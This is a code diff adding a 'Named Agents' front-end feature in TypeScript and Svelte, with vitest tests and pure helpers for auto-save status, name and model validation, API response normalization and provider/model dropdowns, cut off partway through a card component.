@@ -0,0 +1,157 @@
+import { describe, expect, it } from "vitest";
+import {
+ type AgentDraft,
+ draftModel,
+ draftValidity,
+ isDirty,
+ saveStatus,
+ saveStatusLabel,
+} from "./auto-save";
+
+const draft = (p: Partial<AgentDraft>): AgentDraft => ({
+ id: null,
+ name: "",
+ provider: "",
+ model: "",
+ ...p,
+});
+
+describe("draftModel", () => {
+ it("joins provider + model suffix", () => {
+ expect(draftModel(draft({ provider: "opencode-1", model: "claude" }))).toBe(
+ "opencode-1/claude",
+ );
+ });
+
+ it("falls back to provider-only when no model", () => {
+ expect(draftModel(draft({ provider: "opencode-1" }))).toBe("opencode-1");
+ });
+});
+
+describe("draftValidity", () => {
+ it("is usable when name, provider, and model are all valid", () => {
+ const v = draftValidity(draft({ name: "Coding", provider: "opencode-1", model: "claude" }), []);
+ expect(v.usable).toBe(true);
+ expect(v.message).toBeNull();
+ });
+
+ it("is unusable with an empty name / duplicate / missing model", () => {
+ expect(draftValidity(draft({ name: "", provider: "p", model: "m" }), []).usable).toBe(false);
+ expect(
+ draftValidity(draft({ name: "coding", provider: "p", model: "m" }), ["Coding"]).usable,
+ ).toBe(false);
+ expect(draftValidity(draft({ name: "Coding", provider: "", model: "" }), []).usable).toBe(
+ false,
+ );
+ });
+
+ it("reports the first invalid field's message", () => {
+ expect(draftValidity(draft({ name: "", provider: "", model: "" }), []).message).toBe(
+ "Name is required.",
+ );
+ expect(
+ draftValidity(draft({ name: "coding", provider: "", model: "" }), ["Coding"]).message,
+ ).toBe("A named agent with this name already exists.");
+ expect(draftValidity(draft({ name: "Coding", provider: "", model: "" }), []).message).toBe(
+ "Select a provider.",
+ );
+ });
+});
+
+describe("isDirty", () => {
+ it("is false when the draft matches the saved definition", () => {
+ expect(
+ isDirty(draft({ name: "Coding", provider: "opencode-1", model: "claude" }), {
+ id: "a",
+ name: "Coding",
+ model: "opencode-1/claude",
+ }),
+ ).toBe(false);
+ });
+
+ it("is true when name or model differ", () => {
+ expect(
+ isDirty(draft({ name: "Coding X", provider: "opencode-1", model: "claude" }), {
+ id: "a",
+ name: "Coding",
+ model: "opencode-1/claude",
+ }),
+ ).toBe(true);
+ expect(
+ isDirty(draft({ name: "Coding", provider: "umans", model: "glm" }), {
+ id: "a",
+ name: "Coding",
+ model: "opencode-1/claude",
+ }),
+ ).toBe(true);
+ });
+});
+
+describe("saveStatus", () => {
+ const saved = { id: "a", name: "Coding", model: "opencode-1/claude" };
+
+ it("is saved when clean with an id", () => {
+ expect(
+ saveStatus(
+ draft({ id: "a", name: "Coding", provider: "opencode-1", model: "claude" }),
+ saved,
+ false,
+ null,
+ ),
+ ).toBe("saved");
+ });
+
+ it("is dirty when input diverges from the saved definition", () => {
+ expect(
+ saveStatus(
+ draft({ id: "a", name: "Coding X", provider: "opencode-1", model: "claude" }),
+ saved,
+ false,
+ null,
+ ),
+ ).toBe("dirty");
+ });
+
+ it("is an idle draft when it has no id", () => {
+ expect(
+ saveStatus(
+ draft({ name: "Coding", provider: "opencode-1", model: "claude" }),
+ { id: null, name: "", model: "" },
+ false,
+ null,
+ ),
+ ).toBe("idle");
+ });
+
+ it("is saving while a save is in flight", () => {
+ expect(
+ saveStatus(
+ draft({ id: "a", name: "Coding", provider: "opencode-1", model: "claude" }),
+ saved,
+ true,
+ null,
+ ),
+ ).toBe("saving");
+ });
+
+ it("reports an error when the last save failed", () => {
+ expect(
+ saveStatus(
+ draft({ id: "a", name: "Coding", provider: "opencode-1", model: "claude" }),
+ saved,
+ false,
+ "boom",
+ ),
+ ).toBe("error");
+ });
+});
+
+describe("saveStatusLabel", () => {
+ it("maps every status to a short label", () => {
+ expect(saveStatusLabel("idle")).toBe("Not saved");
+ expect(saveStatusLabel("dirty")).toBe("Not saved");
+ expect(saveStatusLabel("saving")).toBe("Saving…");
+ expect(saveStatusLabel("saved")).toBe("Saved");
+ expect(saveStatusLabel("error")).toBe("Save failed");
+ });
+});
diff --git a/src/features/named-agents/logic/auto-save.ts b/src/features/named-agents/logic/auto-save.ts
new file mode 100644
index 0000000..c89d12e
--- /dev/null
+++ b/src/features/named-agents/logic/auto-save.ts
@@ -0,0 +1,138 @@
+/**
+ * Pure auto-save model for a Named Agent card (plan §5.3/§5.4).
+ *
+ * A card has NO explicit Save button: provider/model changes save immediately,
+ * a name edit saves after a short debounce, and the card shows a status
+ * (`Not saved` / `Saving…` / `Saved` / `Save failed` + retry). This module is
+ * the PURE model of that: given the card's current DRAFT (the raw input
+ * controls), the last PERSISTED state, whether a save is in flight, and an
+ * error, it derives the card's display status and what a save would persist.
+ *
+ * The effectful coordination (debounce timers, dispatching saves, and the
+ * monotonic sequence that stops an older response clobbering a newer edit)
+ * lives in the component-wired controller (`ui/controller.svelte.ts`), which
+ * is itself thin over this purity.
+ */
+
+import { isUsableModel, isUsableName, normalizeName } from "./validate";
+
+/**
+ * The four auto-save lifecycle states a card reports. `"idle"` = a brand-new
+ * unsaved draft (never persisted yet) — shown as "Not saved". `"dirty"` = an
+ * existing card whose input differs from what was last saved — also "Not saved"
+ * until the (debounced/immediate) save lands. `"saving"` = a save is in flight.
+ * `"saved"` = current input matches the last persisted value. `"error"` = the
+ * last save failed (a retry is offered). A card that is not yet usable hovers
+ * in `"idle"` (never issued a save).
+ */
+export type SaveStatus = "idle" | "dirty" | "saving" | "saved" | "error";
+
+/** A card's current EDITOR state (the raw form controls). */
+export interface AgentDraft {
+ /** The persisted id once the card has been created; null for a new draft. */
+ readonly id: string | null;
+ /** The raw name input (may be unterminated/unedited). */
+ readonly name: string;
+ /** Selected provider id ("" when none). */
+ readonly provider: string;
+ /** Selected model suffix under `provider` ("" when none). */
+ readonly model: string;
+}
+
+/** The card's last PERSISTED definition (the server's canonical record). */
+export interface AgentSaved {
+ readonly id: string | null;
+ readonly name: string;
+ readonly model: string;
+}
+
+/** The full canonical `<provider>/<model>` name a draft would persist. */
+export function draftModel(draft: AgentDraft): string {
+ return draft.model === "" ? draft.provider : `${draft.provider}/${draft.model}`;
+}
+
+/** The full `<provider>/<model>` name a draft's model suffix maps to. */
+export interface DraftValidity {
+ readonly nameOk: boolean;
+ readonly modelOk: boolean;
+ /** True when the card is fully usable (name nonempty+unique, provider+model chosen). */
+ readonly usable: boolean;
+ /** A message for the first invalid field (for inline hints), or null when usable. */
+ readonly message: string | null;
+}
+
+/**
+ * Validate a draft against its sibling names (the OTHER agents' names, EXCLUDING
+ * this card's own id — uniqueness is among distinct agents).
+ */
+export function draftValidity(draft: AgentDraft, otherNames: readonly string[]): DraftValidity {
+ const nameMessage = nameErrorMessage(draft.name, otherNames);
+ const nameOk = nameMessage === null;
+ const modelOk = draft.provider !== "" && isUsableModel(draftModel(draft));
+ const usable = nameOk && modelOk;
+ const message = usable ? null : (nameMessage ?? modelMessage(draft));
+ return { nameOk, modelOk, usable, message };
+}
+
+function nameErrorMessage(name: string, otherNames: readonly string[]): string | null {
+ if (normalizeName(name).length === 0) return "Name is required.";
+ return isUsableName(name, otherNames) ? null : "A named agent with this name already exists.";
+}
+
+function modelMessage(draft: AgentDraft): string | null {
+ if (draft.provider === "") return "Select a provider.";
+ if (draft.model === "") return "Select a model.";
+ return "Select a valid model.";
+}
+
+/**
+ * Whether the current draft differs from what was last persisted — i.e. a save
+ * is owed. Draft is compared by its NAME (normalized) and full MODEL string.
+ */
+export function isDirty(draft: AgentDraft, saved: AgentSaved): boolean {
+ return (
+ normalizeName(draft.name) !== normalizeName(saved.name) || draftModel(draft) !== saved.model
+ );
+}
+
+/**
+ * The card's display status, purely from its orchestration inputs:
+ * - No id yet → a never-persisted draft → `"idle"` while unusable or unsaved,
+ * `"error"` if a create attempt failed.
+ * - In-flight save → `"saving"`.
+ * - Last save errored → `"error"`.
+ * - No id and clean (nothing to save) → `"idle"`.
+ * - Dirty (not yet (re)saved) → `"dirty"`.
+ * - Clean + has an id → `"saved"`.
+ */
+export function saveStatus(
+ draft: AgentDraft,
+ saved: AgentSaved,
+ saving: boolean,
+ error: string | null,
+): SaveStatus {
+ if (saving) return "saving";
+ if (error !== null) return "error";
+ const hasId = draft.id !== null || saved.id !== null;
+ if (!hasId) return "idle";
+ return isDirty(draft, saved) ? "dirty" : "saved";
+}
+
+/** Short human label for a save status (the card's status line). */
+export function saveStatusLabel(status: SaveStatus): string {
+ switch (status) {
+ case "saving":
+ return "Saving…";
+ case "saved":
+ return "Saved";
+ case "error":
+ return "Save failed";
+ default:
+ return "Not saved";
+ }
+}
+
+/** True iff a status warrants showing the card body as "saved clean" (no warning tint). */
+export function isClean(status: SaveStatus): boolean {
+ return status === "saved";
+}
diff --git a/src/features/named-agents/logic/normalize.test.ts b/src/features/named-agents/logic/normalize.test.ts
new file mode 100644
index 0000000..5009194
--- /dev/null
+++ b/src/features/named-agents/logic/normalize.test.ts
@@ -0,0 +1,78 @@
+import { describe, expect, it } from "vitest";
+import {
+ normalizeNamedAgent,
+ normalizeNamedAgentRecord,
+ normalizeNamedAgents,
+ toNamedAgentInput,
+} from "./normalize";
+import type { NamedAgent } from "./types";
+
+describe("normalizeNamedAgent", () => {
+ it("coerces a well-formed record", () => {
+ expect(normalizeNamedAgent({ id: "x", name: "Coding", model: "opencode-1/claude" })).toEqual({
+ id: "x",
+ name: "Coding",
+ model: "opencode-1/claude",
+ });
+ });
+
+ it("rejects a record missing any field", () => {
+ expect(normalizeNamedAgent({ id: "x", name: "Coding" })).toBeNull();
+ expect(normalizeNamedAgent({ name: "Coding", model: "m" })).toBeNull();
+ expect(normalizeNamedAgent(null)).toBeNull();
+ });
+});
+
+describe("normalizeNamedAgents", () => {
+ it("coerces a list body", () => {
+ const agents: readonly NamedAgent[] = normalizeNamedAgents({
+ namedAgents: [
+ { id: "a", name: "Coding", model: "opencode-1/claude" },
+ { id: "b", name: "Research", model: "umans/glm" },
+ ],
+ });
+ expect(agents).toHaveLength(2);
+ expect(agents[0]?.name).toBe("Coding");
+ });
+
+ it("drops malformed entries and survives a missing list key", () => {
+ expect(
+ normalizeNamedAgents({
+ namedAgents: [
+ { id: "a", name: "x" },
+ { id: "b", name: "y", model: "m" },
+ ],
+ }).map((a) => a.id),
+ ).toEqual(["b"]);
+ expect(normalizeNamedAgents({})).toEqual([]);
+ expect(normalizeNamedAgents(null)).toEqual([]);
+ });
+});
+
+describe("normalizeNamedAgentRecord", () => {
+ it("reads the canonical saved record", () => {
+ expect(
+ normalizeNamedAgentRecord({
+ namedAgent: { id: "a", name: "Coding", model: "opencode-1/claude" },
+ })?.id,
+ ).toBe("a");
+ });
+
+ it("returns null for a malformed record", () => {
+ expect(normalizeNamedAgentRecord({ namedAgent: {} })).toBeNull();
+ expect(normalizeNamedAgentRecord({})).toBeNull();
+ });
+});
+
+describe("toNamedAgentInput", () => {
+ it("trims a name and keeps the model", () => {
+ expect(toNamedAgentInput(" Coding ", "opencode-1/claude")).toEqual({
+ name: "Coding",
+ model: "opencode-1/claude",
+ });
+ });
+
+ it("defaults non-strings to empty", () => {
+ expect(toNamedAgentInput(null, 42)).toEqual({ name: "", model: "" });
+ });
+});
diff --git a/src/features/named-agents/logic/normalize.ts b/src/features/named-agents/logic/normalize.ts
new file mode 100644
index 0000000..c1acec2
--- /dev/null
+++ b/src/features/named-agents/logic/normalize.ts
@@ -0,0 +1,68 @@
+/**
+ * Pure network-seam normalizers for the Named Agents API — zero DOM, zero
+ * effects. The composition root coerces the UNTYPED JSON it receives from
+ * `GET/POST/PUT/DELETE /named-agents` through these so a malformed / partial
+ * response can never crash the renderer. Mirrors the concurrency / heartbeat
+ * network-seam guard pattern.
+ */
+
+import type { NamedAgent, NamedAgentInput } from "./types";
+
+function isRecord(value: unknown): value is Record<string, unknown> {
+ return value !== null && typeof value === "object";
+}
+
+function asString(value: unknown): string | null {
+ return typeof value === "string" && value.length > 0 ? value : null;
+}
+
+/**
+ * Coerce one untrusted record into a typed `NamedAgent`, or `null` when it is
+ * malformed (missing `id`, `name`, or `model` — or a non-string `model`).
+ */
+export function normalizeNamedAgent(value: unknown): NamedAgent | null {
+ if (!isRecord(value)) return null;
+ const id = asString(value.id);
+ const name = asString(value.name);
+ const model = asString(value.model);
+ if (id === null || name === null || model === null) return null;
+ return { id, name, model };
+}
+
+/**
+ * Coerce an untrusted `GET /named-agents` body into a typed Named Agent list.
+ * When the list key is absent/malformed, returns `[]` (defensive — the renderer
+ * shows the empty state rather than crashing).
+ */
+export function normalizeNamedAgents(data: unknown): readonly NamedAgent[] {
+ if (!isRecord(data) || !Array.isArray(data.namedAgents)) return [];
+ const out: NamedAgent[] = [];
+ for (const entry of data.namedAgents as readonly unknown[]) {
+ const agent = normalizeNamedAgent(entry);
+ if (agent !== null) out.push(agent);
+ }
+ return out;
+}
+
+/**
+ * Coerce an untrusted `POST`/`PUT /named-agents` body (the canonical saved
+ * record) into a typed `NamedAgent`, or `null` when malformed. The composition
+ * root surfaces an error when this returns null on an ok response.
+ */
+export function normalizeNamedAgentRecord(data: unknown): NamedAgent | null {
+ if (!isRecord(data)) return null;
+ return normalizeNamedAgent(data.namedAgent);
+}
+
+/**
+ * Coerce an untrusted `NamedAgentInput` at the create/update boundary so only
+ * clean strings reach the wire. Non-string fields drop to "" (name nonempty is
+ * validated separately; model nonempty too). The caller still runs name/model
+ * validation so a malformed body never reaches the backend.
+ */
+export function toNamedAgentInput(name: unknown, model: unknown): NamedAgentInput {
+ return {
+ name: typeof name === "string" ? name.trim() : "",
+ model: typeof model === "string" ? model : "",
+ };
+}
diff --git a/src/features/named-agents/logic/options.test.ts b/src/features/named-agents/logic/options.test.ts
new file mode 100644
index 0000000..8b774ab
--- /dev/null
+++ b/src/features/named-agents/logic/options.test.ts
@@ -0,0 +1,72 @@
+import { describe, expect, it } from "vitest";
+import {
+ fullModelFromSelection,
+ modelFromFull,
+ modelsForProvider,
+ providerFromModel,
+ providerLabel,
+ providerOptions,
+} from "./options";
+
+const MODELS = [
+ "opencode-2/gpt-5",
+ "opencode-1/claude-sonnet-4.5",
+ "umans/umans-glm-5.2",
+ "opencode-10/defiant",
+ "umans/umans-gpt-5",
+ "hyper/fast-1",
+] as const;
+
+describe("providerFromModel / modelFromFull", () => {
+ it("splits a <provider>/<model> on the first slash", () => {
+ expect(providerFromModel("opencode-1/claude-sonnet-4.5")).toBe("opencode-1");
+ expect(modelFromFull("opencode-1/claude-sonnet-4.5")).toBe("claude-sonnet-4.5");
+ });
+
+ it("treats a slashless name as all-provider", () => {
+ expect(providerFromModel("umans")).toBe("umans");
+ expect(modelFromFull("umans")).toBe("");
+ });
+});
+
+describe("providerOptions", () => {
+ it("sorts numbered OpenCode credentials numerically before other providers", () => {
+ expect(providerOptions([...MODELS])).toEqual([
+ "opencode-1",
+ "opencode-2",
+ "opencode-10",
+ "umans",
+ "hyper",
+ ]);
+ });
+
+ it("keeps first-seen order and dedupes", () => {
+ expect(providerOptions(["b/x", "a/y", "b/z"])).toEqual(["b", "a"]);
+ });
+});
+
+describe("modelsForProvider", () => {
+ it("returns only the model suffixes under the provider, in order", () => {
+ expect(modelsForProvider([...MODELS], "umans")).toEqual(["umans-glm-5.2", "umans-gpt-5"]);
+ expect(modelsForProvider([...MODELS], "hyper")).toEqual(["fast-1"]);
+ });
+
+ it("returns [] for an unknown provider", () => {
+ expect(modelsForProvider([...MODELS], "missing")).toEqual([]);
+ });
+});
+
+describe("providerLabel", () => {
+ it("labels numbered OpenCode providers, leaves others unchanged", () => {
+ expect(providerLabel("opencode-2")).toBe("OpenCode #2");
+ expect(providerLabel("umans")).toBe("umans");
+ });
+});
+
+describe("fullModelFromSelection", () => {
+ it("recombines a provider + model suffix", () => {
+ expect(fullModelFromSelection("opencode-1", "claude-sonnet-4.5")).toBe(
+ "opencode-1/claude-sonnet-4.5",
+ );
+ });
+});
diff --git a/src/features/named-agents/logic/options.ts b/src/features/named-agents/logic/options.ts
new file mode 100644
index 0000000..0946cbe
--- /dev/null
+++ b/src/features/named-agents/logic/options.ts
@@ -0,0 +1,84 @@
+/**
+ * Pure provider/model dropdown helpers for the Named Agents editor — zero DOM.
+ *
+ * A Named Agent's persisted `model` is the canonical `<provider>/<model>`
+ * identifier, but the edit UI splits it into a provider dropdown + a model
+ * dropdown (plan §3/§5.2). These helpers derive those dropdowns from the raw
+ * `GET /models` catalog — the SAME key grouping the regular model picker uses.
+ * Catalog latency is acceptable here (human configuration), and it must not
+ * affect the agent-facing list/summon hot paths (plan §9).
+ */
+
+/** The provider id prefix of a `<provider>/<model>` name (the part before the first `/`, or the whole string). */
+export function providerFromModel(full: string): string {
+ const i = full.indexOf("/");
+ return i === -1 ? full : full.slice(0, i);
+}
+
+/** The model suffix of a `<provider>/<model>` name (the part after the first `/`; empty when slashless). */
+export function modelFromFull(full: string): string {
+ const i = full.indexOf("/");
+ return i === -1 ? "" : full.slice(i + 1);
+}
+
+/** Recombine a provider + model suffix into a canonical `<provider>/<model>` name (provider-only if no model). */
+export function joinModel(provider: string, model: string): string {
+ return model === "" ? provider : `${provider}/${model}`;
+}
+
+/**
+ * Distinct provider ids across the catalog, in first-seen order, with numbered
+ * OpenCode credentials sorted NUMERICALLY before other providers (the same
+ * grouping the regular model picker uses — `opencode-2` before `opencode-10`,
+ * then everything else). A friendly display label is produced separately so the
+ * RAW id stays what gets persisted.
+ */
+export function providerOptions(models: readonly string[]): string[] {
+ const seen = new Set<string>();
+ const openCodeKeys: Array<{ key: string; n: number }> = [];
+ const otherKeys: string[] = [];
+ for (const full of models) {
+ const p = providerFromModel(full);
+ if (p === "" || seen.has(p)) continue;
+ seen.add(p);
+ const n = openCodeNumber(p);
+ if (n !== null) openCodeKeys.push({ key: p, n });
+ else otherKeys.push(p);
+ }
+ openCodeKeys.sort((a, b) => a.n - b.n);
+ return [...openCodeKeys.map((e) => e.key), ...otherKeys];
+}
+
+/** The numeric identity of a numbered OpenCode provider (`opencode-1` → 1), or null. */
+export function openCodeNumber(key: string): number | null {
+ const m = /^opencode-([1-9][0-9]*)$/.exec(key);
+ return m === null ? null : Number(m[1]);
+}
+
+/**
+ * Friendly display label for a provider id: `opencode-<n>` → "OpenCode #<n>";
+ * any other id unchanged. Presentation only — the RAW id is what gets persisted.
+ */
+export function providerLabel(provider: string): string {
+ const n = openCodeNumber(provider);
+ return n === null ? provider : `OpenCode #${n}`;
+}
+
+/** The model suffixes available under a given provider, in catalog order. */
+export function modelsForProvider(models: readonly string[], provider: string): string[] {
+ const out: string[] = [];
+ for (const full of models) {
+ if (providerFromModel(full) === provider) out.push(modelFromFull(full));
+ }
+ return out;
+}
+
+/**
+ * The model suffixes in the catalog that a Named Agent's model suffix may match.
+ * A saved Named Agent may reference a provider/model pair no longer present in a
+ * live catalog (e.g. a credential was removed); the editor then shows the saved
+ * RAW full name as an unavailable selection rather than silently rewriting it.
+ */
+export function fullModelFromSelection(provider: string, model: string): string {
+ return joinModel(provider, model);
+}
diff --git a/src/features/named-agents/logic/snapshot.test.ts b/src/features/named-agents/logic/snapshot.test.ts
new file mode 100644
index 0000000..3f1b5cf
--- /dev/null
+++ b/src/features/named-agents/logic/snapshot.test.ts
@@ -0,0 +1,35 @@
+import { describe, expect, it } from "vitest";
+import { findNamedAgent, snapshotFor } from "./snapshot";
+import type { NamedAgent } from "./types";
+
+const AGENTS: readonly NamedAgent[] = [
+ { id: "a1", name: "Coding Agent", model: "opencode-1/claude-sonnet-4.5" },
+ { id: "b2", name: "Research Agent", model: "umans/umans-glm-5.2" },
+];
+
+describe("snapshotFor", () => {
+ it("builds a snapshot carrying id, name, and the raw model", () => {
+ const coding = AGENTS[0];
+ if (coding === undefined) throw new Error("test fixture missing");
+ expect(coding).toBeDefined();
+ expect(snapshotFor(coding)).toEqual({
+ namedAgentId: "a1",
+ namedAgentName: "Coding Agent",
+ model: "opencode-1/claude-sonnet-4.5",
+ });
+ });
+});
+
+describe("findNamedAgent", () => {
+ it("finds by stable id", () => {
+ expect(findNamedAgent(AGENTS, "b2")?.name).toBe("Research Agent");
+ });
+
+ it("finds by name case-insensitively", () => {
+ expect(findNamedAgent(AGENTS, "coding agent")?.id).toBe("a1");
+ });
+
+ it("returns undefined for an unknown id/name", () => {
+ expect(findNamedAgent(AGENTS, "nope")).toBeUndefined();
+ });
+});
diff --git a/src/features/named-agents/logic/snapshot.ts b/src/features/named-agents/logic/snapshot.ts
new file mode 100644
index 0000000..482ceb3
--- /dev/null
+++ b/src/features/named-agents/logic/snapshot.ts
@@ -0,0 +1,33 @@
+/**
+ * Pure snapshot helpers for Named Agent selection (plan §7).
+ *
+ * Selecting a Named Agent for a conversation resolves it to its raw model AND
+ * records a `NamedAgentSelectionSnapshot` ({namedAgentId, namedAgentName, model})
+ * so the conversation retains how it was selected. Later edits to the shared
+ * Named Agent (rename / model change / removal) therefore do NOT retroactively
+ * change an existing conversation — the snapshot is what the UI keeps showing.
+ */
+
+import type { NamedAgent, NamedAgentSelectionSnapshot } from "./types";
+
+/** Build the snapshot a conversation would retain for a Named Agent selection. */
+export function snapshotFor(agent: NamedAgent): NamedAgentSelectionSnapshot {
+ return {
+ namedAgentId: agent.id,
+ namedAgentName: agent.name,
+ model: agent.model,
+ };
+}
+
+/**
+ * Find a Named Agent by stable id or (case-insensitively) by name. Used to
+ * resolve a name/id picked in the model selector back to its current definition.
+ * Returns undefined when unknown (a stale name/id after deletion).
+ */
+export function findNamedAgent(
+ agents: readonly NamedAgent[],
+ idOrName: string,
+): NamedAgent | undefined {
+ const lower = idOrName.trim().toLowerCase();
+ return agents.find((a) => a.id === idOrName || a.name.trim().toLowerCase() === lower);
+}
diff --git a/src/features/named-agents/logic/types.ts b/src/features/named-agents/logic/types.ts
new file mode 100644
index 0000000..2e4d4d3
--- /dev/null
+++ b/src/features/named-agents/logic/types.ts
@@ -0,0 +1,57 @@
+/**
+ * Pure shared types for the Named Agents feature — zero DOM, zero effects,
+ * zero Svelte.
+ *
+ * The shared shapes — `NamedAgent`, `NamedAgentSelectionSnapshot`, and the
+ * `/named-agents` HTTP request/response types — are RE-EXPORTED from the
+ * backend-contract packages (`@dispatch/wire`, `@dispatch/transport-contract`),
+ * which now carry them (the backend shipped the named-agents contract). The FE
+ * consumes those packages as the cross-repo seam; only the FE's port/result
+ * types are defined locally.
+ */
+
+import type {
+ CreateNamedAgentRequest,
+ DeleteNamedAgentResponse,
+ NamedAgentResponse,
+ NamedAgentsResponse,
+ UpdateNamedAgentRequest,
+} from "@dispatch/transport-contract";
+import type { NamedAgent, NamedAgentSelectionSnapshot } from "@dispatch/wire";
+
+export type {
+ DeleteNamedAgentResponse,
+ NamedAgent,
+ NamedAgentResponse,
+ NamedAgentSelectionSnapshot,
+ NamedAgentsResponse,
+ UpdateNamedAgentRequest,
+};
+
+/** The subset of a Named Agent a client creates/updates (plan §9 — id is server-minted). */
+export type NamedAgentInput = CreateNamedAgentRequest;
+
+// ── Ports (injected effects — the composition root supplies real responders) ──
+
+/** Outcome of listing Named Agents. */
+export type NamedAgentsResult =
+ | { readonly ok: true; readonly agents: readonly NamedAgent[] }
+ | { readonly ok: false; readonly error: string };
+
+/** Outcome of creating / updating a Named Agent (the canonical saved record). */
+export type NamedAgentSaveResult =
+ | { readonly ok: true; readonly agent: NamedAgent }
+ | { readonly ok: false; readonly error: string };
+
+/** Outcome of removing a Named Agent. */
+export type NamedAgentDeleteResult =
+ | { readonly ok: true }
+ | { readonly ok: false; readonly error: string };
+
+export type LoadNamedAgents = () => Promise<NamedAgentsResult>;
+export type CreateNamedAgent = (input: NamedAgentInput) => Promise<NamedAgentSaveResult>;
+export type UpdateNamedAgent = (
+ id: string,
+ input: NamedAgentInput,
+) => Promise<NamedAgentSaveResult>;
+export type DeleteNamedAgent = (id: string) => Promise<NamedAgentDeleteResult>;
diff --git a/src/features/named-agents/logic/validate.test.ts b/src/features/named-agents/logic/validate.test.ts
new file mode 100644
index 0000000..d647354
--- /dev/null
+++ b/src/features/named-agents/logic/validate.test.ts
@@ -0,0 +1,58 @@
+import { describe, expect, it } from "vitest";
+import { isUsableModel, isUsableName, nameError, normalizeName } from "./validate";
+
+describe("normalizeName", () => {
+ it("trims surrounding whitespace", () => {
+ expect(normalizeName(" Coding ")).toBe("Coding");
+ });
+
+ it("collapses internal runs of whitespace to one space", () => {
+ expect(normalizeName(" Research Agent ")).toBe("Research Agent");
+ });
+
+ it("collapses an all-whitespace name to empty", () => {
+ expect(normalizeName(" ")).toBe("");
+ });
+});
+
+describe("nameError", () => {
+ it("returns null for a nonempty unique name", () => {
+ expect(nameError("Coding", ["Research", "Fast"])).toBeNull();
+ });
+
+ it("flags an empty/normalized-empty name", () => {
+ expect(nameError("", ["Research"])).toBe("Name is required.");
+ expect(nameError(" ", ["Research"])).toBe("Name is required.");
+ });
+
+ it("flags a name duplicate case-insensitively", () => {
+ expect(nameError("coding", ["Coding"])).toBe("A named agent with this name already exists.");
+ expect(nameError("FAST", ["Fast"])).toBe("A named agent with this name already exists.");
+ });
+
+ it("ignores whitespace when comparing uniqueness", () => {
+ expect(nameError(" coding ", ["Coding "])).toBe(
+ "A named agent with this name already exists.",
+ );
+ });
+});
+
+describe("isUsableName", () => {
+ it("is true only for a unique nonempty name", () => {
+ expect(isUsableName("Coding", ["Research"])).toBe(true);
+ expect(isUsableName("coding", ["Coding"])).toBe(false);
+ expect(isUsableName("", [])).toBe(false);
+ });
+});
+
+describe("isUsableModel", () => {
+ it("accepts a canonical provider/model pair", () => {
+ expect(isUsableModel("opencode-1/claude-sonnet-4.5")).toBe(true);
+ });
+
+ it("rejects a slashless / provider-only value", () => {
+ expect(isUsableModel("opencode-1")).toBe(false);
+ expect(isUsableModel("/claude")).toBe(false);
+ expect(isUsableModel("")).toBe(false);
+ });
+});
diff --git a/src/features/named-agents/logic/validate.ts b/src/features/named-agents/logic/validate.ts
new file mode 100644
index 0000000..c25524a
--- /dev/null
+++ b/src/features/named-agents/logic/validate.ts
@@ -0,0 +1,47 @@
+/**
+ * Pure validation for Named Agent form fields — zero DOM, zero effects.
+ *
+ * A Named Agent is usable only when (plan §5.4): the name is nonempty + unique
+ * case-insensitively, and a provider + model are selected. These pure helpers
+ * drive the card UI's validity gating + inline messages; the backend remains
+ * the authority (it 400s/conflicts on a duplicate or empty name / malformed
+ * model identifier).
+ */
+
+/** Trim + collapse runs of whitespace inside a name (survey-style display). */
+export function normalizeName(raw: string): string {
+ return raw.trim().replace(/\s+/g, " ");
+}
+
+/**
+ * A name-validation error message, or `null` when the name is valid. `otherNames`
+ * are the OTHER agents' names for the case-insensitive uniqueness check (the
+ * caller EXCLUDES the card's own last-persisted name / the card being edited).
+ */
+export function nameError(name: string, otherNames: readonly string[]): string | null {
+ const normalized = normalizeName(name);
+ if (normalized.length === 0) return "Name is required.";
+ const lower = normalized.toLowerCase();
+ for (const other of otherNames) {
+ if (other.trim().toLowerCase() === lower) return "A named agent with this name already exists.";
+ }
+ return null;
+}
+
+/** True iff `name` is a unique, nonempty agent name among `otherNames`. */
+export function isUsableName(name: string, otherNames: readonly string[]): boolean {
+ return nameError(name, otherNames) === null;
+}
+
+/**
+ * Whether a full model identifier is syntactically valid — a canonical
+ * `<provider>/<model>` with a nonempty provider (the part before the first "/")
+ * AND a nonempty model (the part after). A slashless or provider-only value is
+ * invalid for a Named Agent (it must resolve to a concrete model).
+ */
+export function isUsableModel(full: string): boolean {
+ const i = full.indexOf("/");
+ if (i <= 0) return false; // no slash, or empty provider
+ const model = full.slice(i + 1);
+ return model.length > 0;
+}
diff --git a/src/features/named-agents/ui/NamedAgentCard.svelte b/src/features/named-agents/ui/NamedAgentCard.svelte
new file mode 100644
index 0000000..b81c59c
--- /dev/null
+++ b/src/features/named-agents/ui/NamedAgentCard.svelte
@@ -0,0 +1,120 @@
+<script lang="ts">
+ import type { NamedAgent } from "../logic/types";
+ import type { CardController } from "./controller.svelte";
+ import {
+ modelsForProvider,
+ providerLabel,
+ providerOptions,
+ fullModelFromSelection,
+ } from "../logic/options";
+ import { draftValidity } from "../logic/auto-save";
+ import { saveStatusLabel } from "../logic/auto-save";
+
+ let {
+ models,
+ agent,
+ controller,
+ otherNames,
+ }: {
+ /** Available models (`<provider>/<model>`) — the source of the provider/model dropdowns. */
+ models: readonly string[];
+ /** The persisted agent this card edits, or null for a new draft. */
+ agent: NamedAgent | null;
+ /** The card's auto-save controller (draft + status + save lifecycle). */
+ controller: CardController;
+ /** The OTHER agents' names (excludes this card) for the uniqueness hint. */
+ otherNames: readonly string[];
+ } = $props();
+
+ const providers = $derived(providerOptions(models));
+ const providerModels = $derived(modelsForProvider(models, controller.draft.provider));
+ // The full model string a provider+model selection maps to (for the "unavailable"
+ // fallback when the saved model leaves the catalog).
+ const fullModel = $derived(
+ fullModelFromSelection(controller.draft.provider, controller.draft.model),
+ );
+ const validity = $derived(draftValidity(controller.draft, otherNames));
+ const statusLabel = $derived(saveStatusLabel(controller.save.status));
+ // Whether the current provider+model actually resolves inside the catalog.
+ const selectedResolves = $derived(
+ controller.draft.provider !== "" &&
+ modelsForProvider(models, controller.draft.provider).includes(controller.draft.model),
+ );
+</script>
+
+<div class="flex flex-col gap-1 rounded-box bg-base-200 p-3">
+ <span class="text-[10px] uppercase opacity-60">Name</span>
+ <input
+ type="text"
+ class="input input-bordered input-sm w-full"
+ placeholder="Enter a name…"
+ aria-label="Named agent name"
+ value={controller.draft.name}
+ oninput={(e) => controller.setName(e.currentTarget.value)}
+ />
+
+ <span class="mt-1 text-[10px] uppercase opacity-60">Provider</span>
+ <select
+ class="select select-bordered select-sm w-full"
+ aria-label="Named agent provider"
+ value={controller.draft.provider}
+ onchange={(e) => controller.setProvider(e.currentTarget.value)}
+ >
+ {#if controller.draft.provider === ""}
+ <option value="" disabled>Select provider…</option>
